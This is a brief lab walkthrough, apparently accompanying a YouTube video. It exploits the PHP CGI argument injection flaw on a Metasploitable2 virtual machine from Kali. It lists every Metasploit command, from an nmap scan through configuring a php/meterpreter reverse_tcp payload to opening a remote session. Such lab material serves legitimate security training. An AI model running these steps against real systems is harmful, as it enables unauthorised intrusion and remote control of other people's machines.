🎬 This YouTube video

1️⃣ Target Check

Determine the Metasploitable IP from Kali:

ip a

For example:

Kali: 192.168.56.101

Metasploitable2: 192.168.56.102

Let's check the port and service:

nmap -p 80 192.168.56.102

You can also check in the browser:

http://192.168.56.102/

2️⃣ Start Metasploit

msfconsole

3️⃣ Select the PHP CGI exploit module

search php cgi

The correct module:

use exploit/multi/http/php_cgi_arg_injection

4️⃣ Configure the exploit

set RHOSTS 192.168.56.102
set RPORT 80
set TARGETURI /

Let's choose the payload:

set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.56.101
set LPORT 4444

Let's verify:

show options

5️⃣ Run the exploit

run

or

exploit

If successful:

Meterpreter session 1 opened

6️⃣ Check access

sysinfo
whoami